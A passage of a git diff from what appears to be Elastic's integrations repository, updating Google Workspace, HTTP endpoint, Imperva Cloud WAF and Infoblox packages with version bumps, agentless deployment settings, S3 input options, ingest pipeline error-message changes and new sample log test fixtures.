to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Logs ### Google Workspace Reports ECS fields diff --git a/packages/google_workspace/changelog.yml b/packages/google_workspace/changelog.yml index b3787aad9d0..e4e620f8e2d 100644 --- a/packages/google_workspace/changelog.yml +++ b/packages/google_workspace/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.32.0" + changes: + - description: Enable Agentless deployment. + type: enhancement + link: https://github.com/elastic/integrations/pull/12921 - version: "2.31.0" changes: - description: Update Kibana constraint to support 9.0.0. diff --git a/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml index 9e2e73dbaf6..9930eccf41b 100644 --- a/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/access_transparency/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml index 7728abf9f37..667f74541a6 100644 --- a/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/admin/elasticsearch/ingest_pipeline/default.yml @@ -12,6 +12,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml index e63fea146c3..2b690dd269d 100644 --- a/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/alert/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml index a671425c467..8ba033df1e5 100644 --- a/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/context_aware_access/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml index 96c66e595e5..dfc98b6ef29 100644 --- a/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/device/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml index ea32095cbee..476c846b90f 100644 --- a/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/drive/elasticsearch/ingest_pipeline/default.yml @@ -15,6 +15,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml index 2a71a901c22..8e308eb0597 100644 --- a/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/gcp/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml index 7132b529640..a9748fdbbb4 100644 --- a/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/group_enterprise/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml index f471947ee4e..70bdf1aa5d7 100644 --- a/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/groups/elasticsearch/ingest_pipeline/default.yml @@ -18,6 +18,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml index a9ebc6b1cec..a1970436b39 100644 --- a/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/login/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml index 786a876717c..296582d8c56 100644 --- a/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/rules/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml index 1782046c28c..c5aaa0aa804 100644 --- a/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/saml/elasticsearch/ingest_pipeline/default.yml @@ -21,6 +21,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml index df4a10416c1..81dca3b46fc 100644 --- a/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/token/elasticsearch/ingest_pipeline/default.yml @@ -9,6 +9,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml b/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml index 1c3c1a5f2ba..5dfae500fbf 100644 --- a/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_workspace/data_stream/user_accounts/elasticsearch/ingest_pipeline/default.yml @@ -21,6 +21,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original target_field: json diff --git a/packages/google_workspace/docs/README.md b/packages/google_workspace/docs/README.md index 63c004fa5b8..5de6cab3a5f 100644 --- a/packages/google_workspace/docs/README.md +++ b/packages/google_workspace/docs/README.md @@ -123,6 +123,12 @@ Once Service Account credentials are downloaded as a JSON file, then the integra > NOTE: The default value of the "Page Size" is set to 1000. This option is available under 'Alert' Advance options. Set the parameter "Page Size" according to the requirement. For Alert Data Stream, The default value of "Alert Center API Host" is `https://alertcenter.googleapis.com`. The Alert Center API Host will be used for collecting alert logs only. +## Agentless Enabled Integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Logs ### Google Workspace Reports ECS fields diff --git a/packages/google_workspace/manifest.yml b/packages/google_workspace/manifest.yml index 623c0f7b75d..7e2baf105da 100644 --- a/packages/google_workspace/manifest.yml +++ b/packages/google_workspace/manifest.yml @@ -1,17 +1,17 @@ name: google_workspace title: Google Workspace -version: "2.31.0" +version: "2.32.0" source: license: Elastic-2.0 description: Collect logs from Google Workspace with Elastic Agent. type: integration -format_version: "3.0.3" +format_version: "3.2.3" categories: - security - productivity_security conditions: kibana: - version: "^8.16.0 || ^9.0.0" + version: "^8.18.0 || ^9.0.0" elastic: subscription: basic screenshots: @@ -56,6 +56,14 @@ policy_templates: - name: google_workspace title: Google Workspace logs description: Collect logs from Google Workspace APIs + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations inputs: - type: httpjson vars: diff --git a/packages/google_workspace/validation.yml b/packages/google_workspace/validation.yml index 276611f1199..14dcca3875c 100644 --- a/packages/google_workspace/validation.yml +++ b/packages/google_workspace/validation.yml @@ -3,4 +3,3 @@ errors: - SVR00001 # Saved query, but no filter. - SVR00002 # Mandatory filters in dashboards. - SVR00004 # References in dashboards. - - SVR00005 # Kibana version for saved tags. diff --git a/packages/http_endpoint/changelog.yml b/packages/http_endpoint/changelog.yml index ebb2fe58a67..bc3f4b85aa4 100644 --- a/packages/http_endpoint/changelog.yml +++ b/packages/http_endpoint/changelog.yml @@ -1,3 +1,18 @@ +- version: "2.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "2.4.0" + changes: + - description: Note support for base64-encoded HMAC headers. + type: enhancement + link: https://github.com/elastic/integrations/pull/12942 +- version: "2.3.1" + changes: + - description: Improve HMAC configuration documentation. + type: bugfix + link: https://github.com/elastic/integrations/pull/12943 - version: "2.3.0" changes: - description: Make CEL program configuration available. diff --git a/packages/http_endpoint/manifest.yml b/packages/http_endpoint/manifest.yml index 10327aaef76..5f35b3a1552 100644 --- a/packages/http_endpoint/manifest.yml +++ b/packages/http_endpoint/manifest.yml @@ -3,10 +3,10 @@ name: http_endpoint title: Custom HTTP Endpoint Logs description: Collect JSON data from listening HTTP port with Elastic Agent. type: input -version: "2.3.0" +version: "2.5.0" conditions: kibana: - version: "^8.14.0" + version: "^8.15.0 || ^9.0.0" categories: - custom - observability @@ -131,7 +131,7 @@ policy_templates: - name: hmac_header type: text title: HMAC Header - description: The name of the header that contains the HMAC signature, for example X-Dropbox-Signature, X-Hub-Signature-256, etc. HMAC signatures may be encoded as hex. + description: The name of the header that contains the HMAC signature, for example X-Dropbox-Signature, X-Hub-Signature-256, etc. HMAC signatures may be encoded as hex or base64 (raw or standard). required: false show_user: false - name: hmac_key diff --git a/packages/httpjson/changelog.yml b/packages/httpjson/changelog.yml index 65bc4380d8b..66b7e168b6c 100644 --- a/packages/httpjson/changelog.yml +++ b/packages/httpjson/changelog.yml @@ -1,3 +1,8 @@ +- version: "1.22.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.21.1" changes: - description: Fix broken link in Custom API using Common Expression Language. diff --git a/packages/httpjson/manifest.yml b/packages/httpjson/manifest.yml index 6a1e127723f..440bd7ba2d7 100644 --- a/packages/httpjson/manifest.yml +++ b/packages/httpjson/manifest.yml @@ -3,10 +3,10 @@ name: httpjson title: Custom API description: Collect custom events from an API endpoint with Elastic agent type: integration -version: "1.21.1" +version: "1.22.0" conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" categories: - custom policy_templates: diff --git a/packages/imperva_cloud_waf/changelog.yml b/packages/imperva_cloud_waf/changelog.yml index b13d3814d54..4ad4792d8b3 100644 --- a/packages/imperva_cloud_waf/changelog.yml +++ b/packages/imperva_cloud_waf/changelog.yml @@ -1,4 +1,22 @@ # newer versions go on top +- version: "1.9.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "1.7.0" + changes: + - description: Prevent absence of trailing slash in base URL from causing data collection failure. + type: enhancement + link: https://github.com/elastic/integrations/pull/12894 + - description: Improve error reporting in collection failure case. + type: enhancement + link: https://github.com/elastic/integrations/pull/12894 - version: "1.6.2" changes: - description: Fix error message formatting syntax in agent configuration. diff --git a/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs index 82a11634eff..893051264e6 100644 --- a/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/imperva_cloud_waf/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs b/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs index 06fe8c6134e..e85fbfe041b 100644 --- a/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs +++ b/packages/imperva_cloud_waf/data_stream/event/agent/stream/cel.yml.hbs @@ -25,7 +25,7 @@ program: | has(state.worklist) && size(state.worklist) > 0 ? state : - request("GET", (state.url + "logs.index")).with({ + request("GET", state.url.trim_right("/") + "/logs.index").with({ "Header":{ "Authorization": ["Basic "+string(base64(state.user+":"+state.password))], } @@ -46,7 +46,7 @@ program: | "error": { "code": string(resp.StatusCode), "id": string(resp.Status), - "message": "GET " + state.url + "logs.index: " + ( + "message": "GET " + state.url.trim_right("/") + "/logs.index: " + ( size(resp.Body) != 0 ? string(resp.Body) : @@ -64,7 +64,7 @@ program: | : v.next < size(v.worklist) ? ( request("GET", - state.url+v.worklist[v.next].filename + state.url.trim_right("/") + v.worklist[v.next].filename ).with({ "Header":{ "Authorization": ["Basic "+string(base64(state.user + ":" + state.password))], @@ -98,7 +98,7 @@ program: | "error": { "code": string(resp.StatusCode), "id": string(resp.Status), - "message": "GET " + state.url+v.worklist[v.next].filename + ": " +( + "message": "GET " + state.url.trim_right("/") + v.worklist[v.next].filename + ": " +( size(resp.Body) != 0 ? string(resp.Body) : diff --git a/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml b/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml index 82bfc68592e..e33975ecac8 100644 --- a/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml +++ b/packages/imperva_cloud_waf/data_stream/event/elasticsearch/ingest_pipeline/default.yml @@ -5,6 +5,10 @@ processors: field: ecs.version tag: set_ecs_version value: 8.11.0 + - fail: + tag: data_collection_error + if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null + message: error message set and no data to process. - set: field: event.kind tag: set_event_kind_alert diff --git a/packages/imperva_cloud_waf/data_stream/event/manifest.yml b/packages/imperva_cloud_waf/data_stream/event/manifest.yml index 74d89e866a2..7baf7c68191 100644 --- a/packages/imperva_cloud_waf/data_stream/event/manifest.yml +++ b/packages/imperva_cloud_waf/data_stream/event/manifest.yml @@ -195,6 +195,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: "[SQS] Queue URL" diff --git a/packages/imperva_cloud_waf/manifest.yml b/packages/imperva_cloud_waf/manifest.yml index 02e9a8f1a05..6dbae58c0ce 100644 --- a/packages/imperva_cloud_waf/manifest.yml +++ b/packages/imperva_cloud_waf/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.3 name: imperva_cloud_waf title: Imperva Cloud WAF -version: "1.6.2" +version: "1.9.0" description: Collect logs from Imperva Cloud WAF with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.16.2 + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/infoblox_bloxone_ddi/changelog.yml b/packages/infoblox_bloxone_ddi/changelog.yml index dcde26efcdd..45c7fde7ed5 100644 --- a/packages/infoblox_bloxone_ddi/changelog.yml +++ b/packages/infoblox_bloxone_ddi/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.21.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.20.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/infoblox_bloxone_ddi/manifest.yml b/packages/infoblox_bloxone_ddi/manifest.yml index d95f6fc072c..b4e8849c6cc 100644 --- a/packages/infoblox_bloxone_ddi/manifest.yml +++ b/packages/infoblox_bloxone_ddi/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: infoblox_bloxone_ddi title: Infoblox BloxOne DDI -version: "1.20.1" +version: "1.21.0" description: Collect logs from Infoblox BloxOne DDI with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - dns_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/infoblox-bloxone-ddi-screenshot.png title: Infoblox BloxOne DDI dashboard screenshot diff --git a/packages/infoblox_nios/changelog.yml b/packages/infoblox_nios/changelog.yml index facc7349f2d..f652f51c480 100644 --- a/packages/infoblox_nios/changelog.yml +++ b/packages/infoblox_nios/changelog.yml @@ -1,4 +1,20 @@ # newer versions go on top +- version: "1.29.0" + changes: + - description: Support AD authentication failure log messages. + type: enhancement + link: https://github.com/elastic/integrations/pull/12933 + - description: Handle DHCPACK events without device names. + type: bugfix + link: https://github.com/elastic/integrations/pull/12933 + - description: Improve ingest failure logging. + type: enhancement + link: https://github.com/elastic/integrations/pull/12933 +- version: "1.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.27.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log index 7dac02c5127..50a5196155b 100644 --- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log +++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log @@ -22,4 +22,5 @@ <29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-29 19:29:20.468Z [admin]: Called - RestartService <29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-21 17:19:02.204Z [admin]: Modified Network <29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-29 18:30:58.656Z [admin]: Created Ruleset +<11>Feb 26 16:05:03 mygridmaster.mydom.tld 81.2.69.144 httpd: my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed <46>Aug 24 19:50:09 10.0.0.1 -- MARK -- diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json index be8b61c7896..d071345c7f0 100644 --- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json +++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json @@ -1179,6 +1179,58 @@ "name": "admin" } }, + { + "@timestamp": "2025-02-26T16:05:03.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "authentication" + ], + "created": "2025-02-26T16:05:03.000Z", + "original": "<11>Feb 26 16:05:03 mygridmaster.mydom.tld 81.2.69.144 httpd: my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed", + "outcome": "failure" + }, + "host": { + "domain": "mygridmaster.mydom.tld", + "ip": [ + "81.2.69.144" + ] + }, + "infoblox_nios": { + "log": { + "service_name": "httpd", + "type": "AUDIT" + } + }, + "log": { + "syslog": { + "priority": 11 + } + }, + "message": "my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed", + "related": { + "hosts": [ + "mygridmaster.mydom.tld" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "myadminuser" + ] + }, + "server": { + "address": "my-dc.mysubdom.mydom.tld" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "myadminuser" + } + }, { "@timestamp": "2025-08-24T19:50:09.000Z", "ecs": { @@ -1209,4 +1261,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log index 553c1030732..556a0662ac8 100644 --- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log +++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log @@ -64,3 +64,4 @@ <30>Sep 30 11:33:03 anudhcp.anu.edu.au 10.0.0.1 dhcpd[11411]: DHCPACK on 192.168.0.4 to 4a:34:bf:d2:78:24 (my-iPhone) via eth2 relay 67.43.156.0 lease-duration 900 offered-duration 3600 (RENEW) <131>May 31 13:21:52 10.54.17.251 dhcpd[1122]: Reverse map update for 10.71.68.10 abandoned because of non-retryable failure: REFUSED <131>May 31 13:21:52 10.54.17.251 dhcpd[1122]: Unable to add forward map from PRinter12345.domain.subdomain.subsubdomain to 10.71.68.10 by server 127.0.0.1#53: REFUSED +<30>Dec 30 12:57:22 myns.mydom.ltd 81.2.69.192 dhcpd[25033]: DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW) diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json index 03387c34d23..f1f9c10bee8 100644 --- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json +++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json @@ -3837,6 +3837,91 @@ "tags": [ "preserve_original_event" ] + }, + { + "@timestamp": "2025-12-30T12:57:22.000Z", + "client": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "mac": "8E-CD-D9-FF-FF-FF" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "dhcpack", + "created": "2025-12-30T12:57:22.000Z", + "original": "<30>Dec 30 12:57:22 myns.mydom.ltd 81.2.69.192 dhcpd[25033]: DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW)" + }, + "host": { + "domain": "myns.mydom.ltd", + "ip": [ + "81.2.69.192" + ] + }, + "infoblox_nios": { + "log": { + "dhcp": { + "lease": { + "duration": 7257537 + }, + "message": "RENEW", + "offered": { + "duration": 7257579 + }, + "relay": { + "interface": { + "ip": "81.2.69.144" + } + } + }, + "service_name": "dhcpd", + "type": "DHCP" + } + }, + "log": { + "syslog": { + "priority": 30 + } + }, + "message": "DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW)", + "network": { + "protocol": "dhcp" + }, + "observer": { + "ingress": { + "interface": { + "name": "eth2" + } + } + }, + "process": { + "pid": 25033 + }, + "related": { + "hosts": [ + "myns.mydom.ltd" + ], + "ip": [ + "81.2.69.142", + "81.2.69.144", + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] } ] -} \ No newline at end of file +} diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json index cc0f1983c17..96aa0e15645 100644 --- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json +++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json @@ -2645,4 +2645,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml index 127db73bba1..3ffc3e6e4b3 100644 --- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml +++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml @@ -24,6 +24,7 @@ processors: ignore_failure: true - date: field: event.created + tag: date_event_created_tz timezone: '{{{event.timezone}}}' if: ctx.event?.timezone != null && ctx.event.created != null target_field: event.created @@ -38,9 +39,14 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - date: field: event.created + tag: date_event_created_notz if: ctx.event?.timezone == null && ctx.event?.created != null target_field: event.created formats: @@ -54,7 +60,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - set: field: infoblox_nios.log.type value: 'DHCP' @@ -99,7 +109,11 @@ processors: ignore_missing: true - append: field: error.message - value: '{{{_ingest.on_failure_message}}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}} + failed with message '{{{ _ingest.on_failure_message }}}' - append: field: related.ip value: '{{{_tmp.host.ip}}}' @@ -178,7 +192,11 @@ processors: on_failure: - append: field: error.message - value: 